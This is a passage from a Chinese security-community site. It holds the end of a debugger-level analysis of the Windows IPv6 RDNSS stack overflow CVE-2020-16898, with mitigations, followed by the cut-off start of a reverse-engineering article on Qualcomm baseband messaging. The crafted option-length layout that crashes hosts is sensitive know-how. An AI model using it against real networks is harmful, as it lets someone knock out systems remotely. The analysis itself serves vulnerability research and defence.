v185 = _byteswap_ulong(*(NdisGetDataBuffer(v9, 8i64, &v206, 1i64, 0) + 4));
break;
case 0x18u:
v253 = 0i64;
v254 = 0i64;
v255 = 0i64;
if ( length > 0x18u
|| (v147 = *(NdisGetDataBuffer(v9, length, &v253, 1i64, 0) + 2), v147 > 0x80u)
|| v147 > 0x40u && length < 0x18u
|| v147 && length < 0x10u )
{
*v7 = 24;
goto LABEL_276;
}
break;
case 0x19u:
if ( *(v11 + 404) & 0x40 && length < 0x18u )// length bytes
*v7 = 25;
break;
default:
if ( v25 == 0x1F && *(v11 + 404) & 0x40 && length < 0x10u )
{
*v7 = 26;
LABEL_276:
v27 = *(v9 + 24);
goto LABEL_33;
}
break;
}
if ( *v7 != 28 )
goto LABEL_276;
if ( length )
{
v31 = length + *(v9 + 16);
if ( v31 >= *(*(v9 + 8) + 40i64) )
{
NdisAdvanceNetBufferDataStart(v9, length, 0i64, 0i64);
}
else
{
*(v9 + 40) += length;
*(v9 + 24) -= length;
*(v9 + 16) = v31;
}
}
v21 += length;
}
往下调试可以看到，这里有一个循环来处理数据包。而0x18选项这里是对长度有限制条件的。首先会获取每个option内数据的大小进行验证，读取第一个Option数据，获取Option中的Length字段为\x04，4*8=0x20字节，从Option头相加0x20字节，会直接跳到下一个\x19\x26，从而跳过长度限制。
while ( 1 )
{
...
if ( *v78 == 0x18 )
{
v80 = 8 * v78[1];
v256 = 0i64;
v257 = 0i64;
v258 = 0i64;
v249 = 0i64;
v250 = 0i64;
v156 = NdisGetDataBuffer(v72, v79, &v256, 1i64, 0);
_mm_storeu_si128(&v264, _mm_load_si128(&_xmm));
v184 = *(&v264 + ((*(v156 + 3) >> 3) & 3));
if ( v184 != -1 )
{
v157 = *(v156 + 2);
v158 = _byteswap_ulong(*(v156 + 4));
v159 = 2 * v158;
if ( (2 * v158) >> 1 != v158 )
v159 = -1;
CopyPrefix(&v249, v156 + 8, *(v156 + 2), 16i64);
v172 = v184;
LOBYTE(v170) = v157;
IppUpdateAutoConfiguredRoute(v11, Buf2, v68, &v249, v170);
v76 = v179;
if ( v67 <= v159 )
v159 = v67;
v67 = v159;
}
goto LABEL_115;
}
if ( *v78 == 0x19 )
{
if ( *(v11 + 404) & 0x40 ) // 可能是系统设置那里
{
Ipv6pUpdateRDNSS(v11, v72, Buf2, v199, &v180);
goto LABEL_310;
}
}
...
}
这部分中Ipv6pUpdateRDNSS这个函数是最重要的部分。在这个函数中，会计算具体IPv6的个数，而计算IPv6的个数是通过(Length-1)/2来实现的。
所以会导致错误的指向了之前的数据了，也就是\x01\x02这个部分。
这里补充一下关于相关的一些结构体和函数的一些知识。
关于NdisGetDataBuffer 函数
PVOID NdisGetDataBuffer(
PNET_BUFFER NetBuffer,
ULONG BytesNeeded,
PVOID Storage,
UINT AlignMultiple,
UINT AlignOffset
);
**参数：**
NetBuffer：
指向NET_BUFFER结构的指针。
BytesNeeded：
请求的数据的连续字节数。
Storage：
[可选]指向缓冲区的指针，如果调用者未提供缓冲区，则为NULL。缓冲区的大小必须大于或等于BytesNeeded中指定的字节数
。如果该值为非NULL，并且请求的数据不连续，则NDIS将请求的数据复制到Storage指示的区域 。
AlignMultiple：
对齐倍数，以2的幂表示。例如2、4、8、16等。如果 AlignMultiple为1，则没有对齐要求。
AlignOffset
与对齐倍数的偏移量（以字节为单位）。
**用途：**
NdisGetDataBuffer 函数通过 NET_BUFFER ->CurrentMdlOffset
字段来记录要访问数据起始地址相对于_MDL->MappedSystemVa 的偏移。
关于_NET_BUFFER
0: kd> dt ndis!_NET_BUFFER
+0x000 Next : Ptr64 _NET_BUFFER
+0x008 CurrentMdl : Ptr64 _MDL
+0x010 CurrentMdlOffset : Uint4B
+0x018 DataLength : Uint4B
+0x018 stDataLength : Uint8B
+0x020 MdlChain : Ptr64 _MDL
+0x028 DataOffset : Uint4B
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferHeader : _NET_BUFFER_HEADER
+0x030 ChecksumBias : Uint2B
+0x032 Reserved : Uint2B
+0x038 NdisPoolHandle : Ptr64 Void
+0x040 NdisReserved : [2] Ptr64 Void
+0x050 ProtocolReserved : [6] Ptr64 Void
+0x080 MiniportReserved : [4] Ptr64 Void
+0x0a0 DataPhysicalAddress : _LARGE_INTEGER
+0x0a8 SharedMemoryInfo : Ptr64 _NET_BUFFER_SHARED_MEMORY
+0x0a8 ScatterGatherList : Ptr64 _SCATTER_GATHER_LIST
关于_MDL
0: kd> dt ndis!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
第一次调用Ipv6pUpdateRDNSS函数之前：
0: kd> dt ndis!_NET_BUFFER @r14
+0x000 Next : (null)
+0x008 CurrentMdl : 0xffff9a04`9ae4c350 _MDL
+0x010 CurrentMdlOffset : 0x10
+0x018 DataLength : 0x150
+0x018 stDataLength : 0x150
+0x020 MdlChain : 0xffff9a04`9c40a180 _MDL
+0x028 DataOffset : 0x70
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferHeader : _NET_BUFFER_HEADER
+0x030 ChecksumBias : 0
+0x032 Reserved : 0
+0x038 NdisPoolHandle : 0xffff9a04`9aba28c0 Void
+0x040 NdisReserved : [2] (null)
+0x050 ProtocolReserved : [6] 0x00000160`00000000 Void
+0x080 MiniportReserved : [4] (null)
+0x0a0 DataPhysicalAddress : _LARGE_INTEGER 0x0
+0x0a8 SharedMemoryInfo : (null)
+0x0a8 ScatterGatherList : (null)
0: kd> dt ndis!_MDL 0xffff9a04`9ae4c350
+0x000 Next : 0xffff9a04`9ae4c7d0 _MDL
+0x008 Size : 0n56
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0x9a04
+0x00e Reserved : 0xffff
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffff9a04`9ae4c390 Void
+0x020 StartVa : 0xffff9a04`9ae4c000 Void
+0x028 ByteCount : 0x30
+0x02c ByteOffset : 0x390
0: kd> db 0xffff9a04`9ae4c390+0x10
ffff9a04`9ae4c3a0 19 04 00 00 ff ff ff ff-5a 5a 5a 5a 5a 5a 5a 5a ........ZZZZZZZZ
ffff9a04`9ae4c3b0 5a 5a 5a 5a 5a 5a 5a 5a-01 02 03 04 05 06 07 08 ZZZZZZZZ........
ffff9a04`9ae4c3c0 00 d0 09 02 43 63 50 63-9a 74 0e 74 7b 4b cd b6 ....CcPc.t.t{K..
ffff9a04`9ae4c3d0 fe 02 04 00 ff ff 00 00-90 c3 88 a0 04 9a ff ff ................
ffff9a04`9ae4c3e0 60 09 80 02 00 00 00 00-60 09 c0 02 00 00 00 00 `.......`.......
ffff9a04`9ae4c3f0 60 09 c0 02 00 00 00 00-19 19 f3 02 00 00 00 00 `...............
ffff9a04`9ae4c400 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff9a04`9ae4c410 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
第一次调用Ipv6pUpdateRDNSS函数之后
0: kd> dt ndis!_NET_BUFFER @r14
+0x000 Next : (null)
+0x008 CurrentMdl : 0xffff9a04`9ae4c350 _MDL
+0x010 CurrentMdlOffset : 0x28
+0x018 DataLength : 0x138
+0x018 stDataLength : 0x138
+0x020 MdlChain : 0xffff9a04`9c40a180 _MDL
+0x028 DataOffset : 0x88
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferHeader : _NET_BUFFER_HEADER
+0x030 ChecksumBias : 0
+0x032 Reserved : 0
+0x038 NdisPoolHandle : 0xffff9a04`9aba28c0 Void
+0x040 NdisReserved : [2] (null)
+0x050 ProtocolReserved : [6] 0x00000160`00000000 Void
+0x080 MiniportReserved : [4] (null)
+0x0a0 DataPhysicalAddress : _LARGE_INTEGER 0x0
+0x0a8 SharedMemoryInfo : (null)
+0x0a8 ScatterGatherList : (null)
0: kd> dt ndis!_MDL 0xffff9a04`9ae4c350
+0x000 Next : 0xffff9a04`9ae4c7d0 _MDL
+0x008 Size : 0n56
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0x9a04
+0x00e Reserved : 0xffff
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffff9a04`9ae4c390 Void
+0x020 StartVa : 0xffff9a04`9ae4c000 Void
+0x028 ByteCount : 0x30
+0x02c ByteOffset : 0x390
0: kd> db 0xffff9a04`9ae4c390+0x28
ffff9a04`9ae4c3b8 01 02 03 04 05 06 07 08-00 d0 09 02 43 63 50 63 ............CcPc
ffff9a04`9ae4c3c8 9a 74 0e 74 7b 4b cd b6-fe 02 04 00 ff ff 00 00 .t.t{K..........
ffff9a04`9ae4c3d8 90 c3 88 a0 04 9a ff ff-60 09 80 02 00 00 00 00 ........`.......
ffff9a04`9ae4c3e8 60 09 c0 02 00 00 00 00-60 09 c0 02 00 00 00 00 `.......`.......
ffff9a04`9ae4c3f8 19 19 f3 02 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff9a04`9ae4c408 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff9a04`9ae4c418 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff9a04`9ae4c428 00 00 00 00 00 00 00 00-20 77 00 9f 04 9a ff ff ........ w....
可以看到现在已经将\x01\x02当做下一个Option的头部。而\x02位于Length字段，\x01无这个Type，所以会跳过0x10个字节。直接跳到下一个\x19\x04这部分。
之后再一次调用了Ipv6pUpdateRDNSS。
调用前：
0: kd> dt ndis!_NET_BUFFER @r14
+0x000 Next : (null)
+0x008 CurrentMdl : 0xffff9a04`9ae4c7d0 _MDL
+0x010 CurrentMdlOffset : 8
+0x018 DataLength : 0x128
+0x018 stDataLength : 0x128
+0x020 MdlChain : 0xffff9a04`9c40a180 _MDL
+0x028 DataOffset : 0x98
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferHeader : _NET_BUFFER_HEADER
+0x030 ChecksumBias : 0
+0x032 Reserved : 0
+0x038 NdisPoolHandle : 0xffff9a04`9aba28c0 Void
+0x040 NdisReserved : [2] (null)
+0x050 ProtocolReserved : [6] 0x00000160`00000000 Void
+0x080 MiniportReserved : [4] (null)
+0x0a0 DataPhysicalAddress : _LARGE_INTEGER 0x0
+0x0a8 SharedMemoryInfo : (null)
+0x0a8 ScatterGatherList : (null)
0: kd> dt ndis!_MDL 0xffff9a04`9ae4c7d0
+0x000 Next : 0xffff9a04`9ae4c8f0 _MDL
+0x008 Size : 0n56
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0xffff
+0x00e Reserved : 0xffff
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffff9a04`9ae4c810 Void
+0x020 StartVa : 0xffff9a04`9ae4c000 Void
+0x028 ByteCount : 0x30
+0x02c ByteOffset : 0x810
0: kd> db 0xffff9a04`9ae4c810+0x8
ffff9a04`9ae4c818 19 04 00 00 ff ff ff ff-5a 5a 5a 5a 5a 5a 5a 5a ........ZZZZZZZZ
ffff9a04`9ae4c828 5a 5a 5a 5a 5a 5a 5a 5a-18 22 5a 5a 5a 5a 5a 5a ZZZZZZZZ."ZZZZZZ
ffff9a04`9ae4c838 5a 5a 5a 5a 5a 5a 5a 5a-00 19 09 02 41 6c 65 70 ZZZZZZZZ....Alep
ffff9a04`9ae4c848 9a fe 7b 74 7b 4b cd b6-d0 a1 c9 99 04 9a ff ff ..{t{K..........
ffff9a04`9ae4c858 20 01 22 01 00 00 00 00-70 d2 fe 9f 04 9a ff ff .".....p.......
ffff9a04`9ae4c868 c0 08 65 9a 04 9a ff ff-a0 0f 00 00 00 00 00 00 ..e.............
ffff9a04`9ae4c878 00 00 00 00 00 00 00 00-fa ad db ba fa ad db ba ................
ffff9a04`9ae4c888 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
调用之后。可以看到这部分执行之后已经指向了\x18\x22。
0: kd> dt ndis!_NET_BUFFER @r14
+0x000 Next : (null)
+0x008 CurrentMdl : 0xffff9a04`9ae4c7d0 _MDL
+0x010 CurrentMdlOffset : 0x20
+0x018 DataLength : 0x110
+0x018 stDataLength : 0x110
+0x020 MdlChain : 0xffff9a04`9c40a180 _MDL
+0x028 DataOffset : 0xb0
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferHeader : _NET_BUFFER_HEADER
+0x030 ChecksumBias : 0
+0x032 Reserved : 0
+0x038 NdisPoolHandle : 0xffff9a04`9aba28c0 Void
+0x040 NdisReserved : [2] (null)
+0x050 ProtocolReserved : [6] 0x00000160`00000000 Void
+0x080 MiniportReserved : [4] (null)
+0x0a0 DataPhysicalAddress : _LARGE_INTEGER 0x0
+0x0a8 SharedMemoryInfo : (null)
+0x0a8 ScatterGatherList : (null)
0: kd> dt ndis!_MDL 0xffff9a04`9ae4c7d0
+0x000 Next : 0xffff9a04`9ae4c8f0 _MDL
+0x008 Size : 0n56
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0xffff
+0x00e Reserved : 0xffff
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffff9a04`9ae4c810 Void
+0x020 StartVa : 0xffff9a04`9ae4c000 Void
+0x028 ByteCount : 0x30
+0x02c ByteOffset : 0x810
0: kd> db 0xffff9a04`9ae4c810+0x20
ffff9a04`9ae4c830 18 22 5a 5a 5a 5a 5a 5a-5a 5a 5a 5a 5a 5a 5a 5a ."ZZZZZZZZZZZZZZ
ffff9a04`9ae4c840 00 19 09 02 41 6c 65 70-9a fe 7b 74 7b 4b cd b6 ....Alep..{t{K..
ffff9a04`9ae4c850 d0 a1 c9 99 04 9a ff ff-20 01 22 01 00 00 00 00 ........ .".....
ffff9a04`9ae4c860 70 d2 fe 9f 04 9a ff ff-c0 08 65 9a 04 9a ff ff p.........e.....
ffff9a04`9ae4c870 a0 0f 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff9a04`9ae4c880 fa ad db ba fa ad db ba-00 00 00 00 00 00 00 00 ................
ffff9a04`9ae4c890 00 00 00 00 00 00 00 00-03 00 00 00 01 00 00 00 ................
ffff9a04`9ae4c8a0 50 c8 e4 9a 04 9a ff ff-10 e3 10 2d 00 f8 ff ff P..........-....
Type为0x18时，会调用NdisGetDataBuffer函数，Length为0x22，也就是0x22*8=0x110个字节。对于NdisGetDataBuffer函数来说，当数据包是分片发送时，会被暂时存放到一个的栈空间内，也就是该函数的第三个参数。而当前的栈空间是不够的，所以导致了栈溢出，由于内核中存在GS保护，每次在函数结束时会验证函数初始阶段存放的Cookie值。如果Cookie值被修改则会报错，而BSOD正是这个原因。
## 0x04 漏洞危害
该漏洞基本可以稳定导致远程主机BSOD，条件受限于必须在同一内网下并且会对RDNSS包进行处理。对于远程代码执行，光靠这一个漏洞基本不可能达到代码执行的目的，内核中的保护很多，对于GS保护来说，需要与一个内存泄露的漏洞组合利用才能导致远程代码执行。
## 0x05 漏洞修复方案
通用修复建议
下载最新的补丁包进行更新修复，链接如下。
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898>
临时修复建议
可以通过禁用ICMPv6 RDNSS来缓解。
先获取对应接口的接口号
netsh int ipv6 show int
之后关闭RDNSS
netsh int ipv6 set int 5 rabaseddnsconfig=disable
## 0x06 参考链接
1. <https://blog.quarkslab.com/beware-the-bad-neighbor-analysis-and-poc-of-the-windows-ipv6-router-advertisement-vulnerability-cve-2020-16898.html>
2. <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898>
3. <https://cert.360.cn/report/detail?id=771d8ddc2d703071d5761b6a2b139793> | 社区文章 |
**作者： vessial
原文链接：<https://github.com/vessial/baseband/blob/master/Qualcomm_BaseBand_Messaging_and_State_Machine.md>
**
## 背景
本技术分析文章通过对高通的4/5G移动基带系统进行深入逆向工程提示其内部消息通信机制以及核心架构设计逻辑，本文的研究基于高通的4G基带MDM9707以及5G基带模块sdx55的固件之上分析完成，高通基带系统现在都是基于高通主流的hexagon
DSP指令架构来实现，该架构非常适合应用于音视频编解码，计算机视觉等，软件无线电等应用中的浮点和向量计算，在高通骁龙处理器的子系统中大量使用，大多应用于手机，汽车，可穿戴设备以及移动通信设备中，Hexagon
DSP相关信息可以从[这里](https://developer.qualcomm.com/software/hexagon-dsp-sdk/dsp-processor)获取，运行在Hexagon
DSP芯片上的操作系统QuRT是由高通设计的实时操作系统，高通基带系统所有的上层业务将会运行在该操作系统之上，阅读该技术分析文章之前，假定你已经对操作系统的原理有所了解，例如CPU调度，IPC(进程间通信)，以及基本的数据队列enqueue/dequeue的操作。
## 消息机制简介
一个系统里面运行着不同的任务，不同任务在不同的运行状态在处理相应的业务逻辑时可能需要与其它任务交换数据或者同步信息，这里面就需要操作系统的底层IPC机制来完成了，3GPP组织定义了不同移动通信技术从物理层/链路层/逻辑处理层等各种标准，例如（5GNR/4GLTE/3G
WCDMA/TD-SCDMA/CDMA2000/2G
/GSM等通信技术），这些技术标准在基带系统里面实现会被划分成不同的任务来维护不同的状态，处理不同的消息信令，以及维护不同通信技术的切换等操作，比如现在的大部分智能手机基带系统基本上都支持2/3/4G通信相关的技术，这些基带系统根据移动运营商支持的移动通信技术和国家区域支持的标准的不同会使用相应的移动通信技术，比如中国在3G时代中国移动使用的TD-SCDMA，而中国联通使用的是WCDMA技术，为了保证移动设备的一些基本功能的可用性（语音通信和sms短信息），比如某些地方部署了4G基站，你可以在那里使用4G
LTE的（Voice-over-IP/SMS-over-IP）通信技术，在一些偏远的地区可能只部署了2G基站，这时基带系统根据环境切换到GSM的协议栈，这些功能的维护与切换从基带系统层面来讲都需要系统消息机制来配合完成。
高通基带系统的消息机制建立在运行的实时操作系统QuRT之上，之前我有一篇[文章](https://www.freebuf.com/articles/terminal/213807.html)有简单介绍过底层IPC机制，今天我将详细介绍上层业务逻辑相关的消息传递机制与数据结构。我们把运行在基带系统上的业务逻辑实体的最小单位定义为线程（thread），根据线程生命周期的不同分为以下两大类：
* 短生命周期线程
* 驱动/任务初始化线程（Driver initiator/Services Launcher)
* 中断服务例程（IST)
* 长生命周期线程
* 阻塞型消息接受线程
消息通信底层API封装简介：
//信号发送
int rex_send_sigs(utcb *dst_task_obj,unsigned int signal_id);
//第一个参数为向目标任务发送消息的结构定义，第二个参数为要发送的信号id
int rex_wait_sigs(unsigned int recv_sigs_masks);
//第一个参数为可以允许接受信号id的掩码，每个任务最多可以设置可接受信号id个数为32个，每个任务可以接受多个信号id时，通过信号id的或操作来得到该任务可以接受信号的掩码，返回值为接受到的信号id
//如果是带数据的信号发送，封装底层API，类似如下
int send_sigs_with_dat(utcb *dst_task_obj,unsigned int signal_id,data_queue *send_data_queue);
int recv_sigs_with_dat(unsigned int recv_sigs_masks,data_queue *recv_data_queue);
而根据任务线程的业务功能的不同划分成以下几大类：
* 系统功能任务
* 通信技术协议栈分层任务
* GSM/WCDMA/TDSCDMA/LTE L1/L2/L3相关的协议栈的任务等
* 上层应用任务
* IMS volte/ecall/数据服务/包服务等
* 外设相关的任务
* UIM/SIO/A2等
我在[这里](https://github.com/vessial/baseband/blob/master/dump_task.svg)记录了高通MDM9607基带系统一次实时运行的任务快照列表。
## 高通基带系统消息机制
### 消息通信核心架构设计逻辑
* 兼容性
* 在新的基带芯片上面开发新的移动通信技术单元的同时，保证老的功能模块能够正常使用，例如在开发5G功能的同时，以往的4G/3G/2G功能都能够正常使用和切换。
* 可扩展性
* 在已有的功能模块上增加新的功能，具备灵活的扩展性，而不需要作太大的软件和硬件改动。
* 低耦合性
* 新增的功能模块与已有系统上功能模块的耦合度低，接口少，减少引入问题的接口点和测试成本。
基于以上的设计理念，高通设计一套灵活的消息通信系统，一直到现在5GNR的基带系统也在用，接下来我将详细介绍该消息系统的架构，相关的算法和数据结构。
### 消息通信架构
为了区分不同任务所接受到的消息以及任务所能处理相应消息的原语操作权限，通过接受到的消息来区分消息来源以及接受到相应消息后的相应的处理动作，高通的消息系统引入了任务消息接受体（msgr_client）和UMID（Unique
Message
ID）的机制，任务消息接受体由相应的任务创建生成，并通过初始注册可接受消息UMID来设置任务相应原语操作的权限，每个任务可以创建一个或者多个msgr_client，每一个UMID消息也可以注册给多个msgr_client，每一个UMID消息标示着一次相应的原语操作，在MDM9607里面定义的UMID数量多达1万多个，而在最新高通的5G基带里面可使用的UMID高达2万多，每个UMID背后都对应着相应的原语操作，UMID的值与相应的命名规则如下。
#### UMID由32位组成，结构如下表
Name | offset and length | Comment
---|---|---
tech_id | 24~31 8bits | eg, LTE->0x04, IMS->0x15, MDM9607 0x1b, SDX55 0x20
mod_id | 16~23 8bits | eg, 0xd -> RRC 0xf -> MAC 0x11-> RLC DL
type_id | 8~15 8bits | type <= 0x09) || (type >= 0x11 && type <= 0x17,totally
0x11 type_ids
op_type_id | 4~8 4bits | Op entity ,eg IRAT_FROM_LTE_TO_G
op_id | 0~3 4bits | Opcode seq, eg abort/search/startup/deinit/init/cfg etc
注：if type_id>9 ,type_id=type_id-6 offset bit 8~15 8bits type_id list
Type_name | value | Comment
---|---|---
CMD | 1 | Command primitive
REQ | 2 | request
RSP | 3 | response
IND | 4 | indication
DLM | 7 | downlink message
CNF | 8 | confirm
TMR | 9 | timer
REQI | 0x12 | request Internal
RSPI | 0x13 | Response internal
INDI | 0x14 | indication internal
CNFI | 0x15 | confirm internal
TMRI | 0x16 | timer internal
举个例子UMID 0x40D120E 对应的描述原语是LTE_RRC_IRAT_FROM_LTE_TO_G_RESEL_REQI，拆分结果如下:
name | value
---|---
LTE | 0x04
RRC | 0x0d
REQI | 0x12
RESEL | 0x0
IRAT_FROM_LTE_TO_G | 0x0e
注：这种UMID值的解析方法在某些定义里面并不适用，比如LTE_ML1_DLM_TST_SKIP_RACH_REQ的值为6，就没法用上面的方法解析，有些值并不严格遵循这种解析算法，可能是由于历史原因，定义UMID值的规则不一样。
基带系统把任务标示为多个不同的技术大类，来标示和模块化相应的子功能，以MDM9607为例：
tech_id | Tech_name
---|---
0 | MCS(Modem Common Service)
2 | MM_CM(0x201) UI(0x20a) (Unnumbered Information)
MM_DOM(0x202),MM_MMOC(0x251)
4 | LTE
5 | FTM
6 | rfa_tech （0x600 rf_fwrsp,0x603 rfgsm, 0x604 rf_1x ,0x601 0x605 rf_hdr
,0x606 rfgsm_ftm,0x607 rf_lte,0x608 rf_lte_ftm,0x60b rf_qmi, 0x60c
rf_meas,0x40f/0x1a04 rf_lte ,0x120f rf_tdscdma）
7 | cdma
8 | hdr
9 | gsm
0x0a | location(gps/gnss)
0x0b | wcdma
0x0c | ds(data service)
0x0d | 1x(csfb)
0x0f | nas(0xf19 mm, 0xf1c esm)
0x10 | gstk(Generic SIM Application Toolkit)
0x12 | tdscdma
0x13 | wms
0x15 | ims
0x16 | qmi
0x17 | ecall 0x1701 ecall_app ,0x1702 ecall_ivs
0x18 | policyman
0x1a | rflm
#### 模块ID
下图是MDM9607 LTE的部分子模块ID的对应关系
tech_id+mod_id | name
---|---
0x401 | ML1 MGR
0x407 | LL1_SRCH
0x408 | LL1_DL
0x409 | LL1_UL
0x40a | LL1_SYS
0x40b | LL1_Async
0x40d | RRC
0x40f | MAC
0x411 | RLC DL
0x412 | RLC UL
0x413 | PDCP DL
0x414 | PDCP UL
0x41b | ML1_GM
0x41e | SW.app
0x420 | ML1_GM_SCHDLR
0x427 | TLB(Test Loop )
0x42b | ML1_GM_Sleep
0x434 | ML1_AFC
0x43b | PDCP offload
0x43e | ML1 offload
0x43f | ML1 Co-existence
0x441 | ML1 GM MSMGR
0x442 | PDCPCOMP
0x445 | ML1 SM FSCAN
关键消息发送API:
msgr_send(umsg *buf,uint32 buf_size);
struct umsg{
struct msgr_hdr_struct_type{
uint32 dest_umid; //offset 0 ，要发送的UMID号
uint16 src_tech_mod_id; //offset 4，发送源tech_mod_id的标识
uint8 num_attach;// offset 7
uint8 tail_flag ;// offset 8 ，头部结尾标志0x7f
uint8 inst_id;// offset 9，
}
uint8 send_dsm_flag;//offset 0x10 ,置1表示发送数据通过dsm结构承载的标志
dsm *dsm_obj;//offset 0x14 , 发送数据dsm结构指针
}
msgrq_wait(void *msgr_client_ptr,void *msg_recv_buf,uint32 msg_recv_buf_size,uint32 *msg_recvd_size_ptr);//接受消息的函数
msgr_register(uint16 mod_id,void *msgr_client_ptr,void *mailbox_obj,uint32 umid);//msgr_client注册umid的消息路由
#### 消息路由
我们已经了解到UMID所对应原语操作的含义，如果需要执行相应的原语操作，只需要向注册过UMID的模块发送umid消息即可，接下来我们需要了解umid消息是如何路由到相应模块(tech_mod_id)的消息接收器(msgr_client)的，下面会详细介绍相应的算法和数据结构，我整理了几张表来描述。
map_name | map_size | key | value | value_size | Memory Attribution
---|---|---|---|---|---
techs_map | techs * 8 | tech_id | module_counts, modules_map | 8 bytes | Read
Only
modules_map | module_counts * 0x11 * 2 | (mod_id * 0x11+type_id) * 2 |
types_map_id | 2 bytes | Read Only
types_map | types_map_ids * 0x20 | types_map_id * 0x20 +(op_type_id&0x1e) |
tech_mod_type_seq | 2 bytes | Read/Write
umids_map | umid_seq_id * 0x8 | 8 * (tech_mod_type_seq+op_id) | umid,
next_umid_seq_id,msgr_client_id | 8 bytes | Read/Write
msgr_clients_map | 0x34*total_msgr_client_counts | msgr_client_seq_id |
msgr_client_desc | 0x34 | Read/Write
struct msgr_client_desc{ //全局msgr_client结构描述
uint32 umids_registered;
uint16 msgr_client_reg_type;//1 ->msgrq_sig type,2-> rexq_sig
uint16 tech_mod_id;//
union *msg_sig_p{ //offset 0x10
struct msgrq_sig *msgq_p;//msgr reg type 1,4G及以后使用的mailbox消息传递系统
struct rexq_sig *rexq_p;//msgr reg type 2,兼容2G/3G时代使用的Rex IPC消息传递系统
}
struct msgrq *msgrq_p;//offset 0x14 ,if reg type 1
struct msgr_client_obj *msgr_client_obj_ptr;//offset 0x30
}
struct msgr_client_obj{//msgr_client结构体
unsigned int msgr_client_reg_type;//1-> msgrq aka mailbox,2->rex_q,接受消息的方式
unsigned int register_umid_counts;//offset 8 ,消息接受器注册的umid的总数
unsigned int total_reged_recv_signal_counts;//offset 0x0c,注册的接受消息的signal的个数
union sig_recv_obj{
msgrq_sig *msgrq_signal_obj;// offset 0x10 msgrq_sig type,4/5G未来的主流类型
rexq_sig *rex_signal_obj;//offset 0x10 rexq_sig type ,这个主要是为了兼容之前2/3G的系统的数据结构
}
unsigned int task_recv_signal_set_mask;//offset 0x14 ,注册的接受消息的signal号的掩码
uint32 err_counts;//offset 0x18
unsigned int recvd_signal_id;//offset 0x1c,当前接受到的signal id,msgr_client_reg_type为1
struct msgrq *recvd_msgrq_ptr;//offset 0x20,当前接受消息承载的msgrq对象,msgr_client_reg_type为1
struct msgrq *msgrq_first_entry;// offset 0x24,接受msgrq消息链表结构指针,msgr_client_reg_type为1
unsigned int total_msgrq_counts;//offset 0x28, 可以接受msgrq消息的总数,通过可以task_recv_signal_set_mask来确定,msgr_client_reg_type为1
}
struct msgrq_sig{
uint32 sig_ready_flag;//must be 1
struct sig_def{
uint32 signal_id_for_recv;//offset 8
uint32 signal_reged_wait_mask;//offset 0xc
void * kernel_msg_queue;
unsigned int attribute;
};
}
struct rexq_sig{ //size 0x1c, 兼容2/3G系统的数据结构
utcb *msgr_client_utcb_ptr;//offset 0 任务接受消息使用的utcb标识
uint32 msgr_client_signal_id;//offset 4 接受消息使用的signal id
msg_queue *msgr_out_msg_q;//offset 0x8
msg_queue *rex_msg_in_q;//offset 0xc
uint16 msg_data_q_used_size;//offset 0x10
uint16 rexq_id;//offset 0x12
uint16 msg_data_q_size;//offset 0x14
}
struct msg_data_q{
struct msg_data_q *prev_q;
struct msg_data_q *next_q;
char data[msg_data_q_size-8];
}
struct msg_queue{
struct msg_data_q *headp;
struct msg_data_q *tailp;
uint32 total_q_counts;
}
struct msgrq{
void *msg_recv_buf_header;//offset 0
void *msg_recv_end_buf;//offset 4
char msgrq_name[16];//offset 0x10
int msgrq_recvd_seq;//ofset 0x18
unsigned int reged_recv_signal_id_mask;//offset 0x1c,可供接受消息signal的掩码
void *msgr_buf_remain_ptr;//offset 0x20,可供接受消息的剩余空间起始地址
void *msgr_recv_buf;//offset 0x24,当前接受到消息的buf地址
uint32 msgr_buf_remain_size;//offset 0x28
unsigned int total_msg_recv_buf_size;//offset 0x30
int8 is_buf_in_use;//offset 0x70 ,0-> in use, 1-> not in use
uint32 recvd_msg_blocks;//offset 0x58 ,收到的消息次数总和
struct msgrq *next_msgrq;//offset 0x74
}
为了更方便的理解上述的数据结构的关系与操作算法，画了一张简单的图来加深该消息系统的理解。
通过以上算法和数据结构，可以很方便的完成UMID与tech_mod_id的消息路由的注册，消息发送等操作。
需要说明的一点就是一个tech_mod_id可能会关联多个msgr_client，所以msgr_client_id就成了消息传递的唯一标识，通过msgr_client_id得到全局的msgr_client_desc的结构定义，该结构体里面包含接受消息的任务utcb和接受消息的signal
id，这里通过tech_mod_id 0xf19对应的MM（Mobility Management）任务进行举例。
我在一个实时运行的MDM9607系统上面，描绘出所有UMID和tech_mod_id之间的消息路由情况，由于实在太大，
可以在https://github.com/vessial/baseband/blob/master/umid_pro.svg 进行查看。
### 消息状态机（State Machine）
高通基带系统里面的消息状态机，是实现3GPP定义功能最重要的组成部分，消息状态机在移动通信系统里面扮演着非常重要的角色，也是多模移动通信系统的核心，3GPP在定义的多个移动通信技术的分层协议栈时，不同的通信技术模式之间切换，会通过状态机来维护相应的分层逻辑的状态和可操作功能，接下来将重要介绍高通基带系统使用的状态机数据结构以及相关算法，本文将研究主要流4G
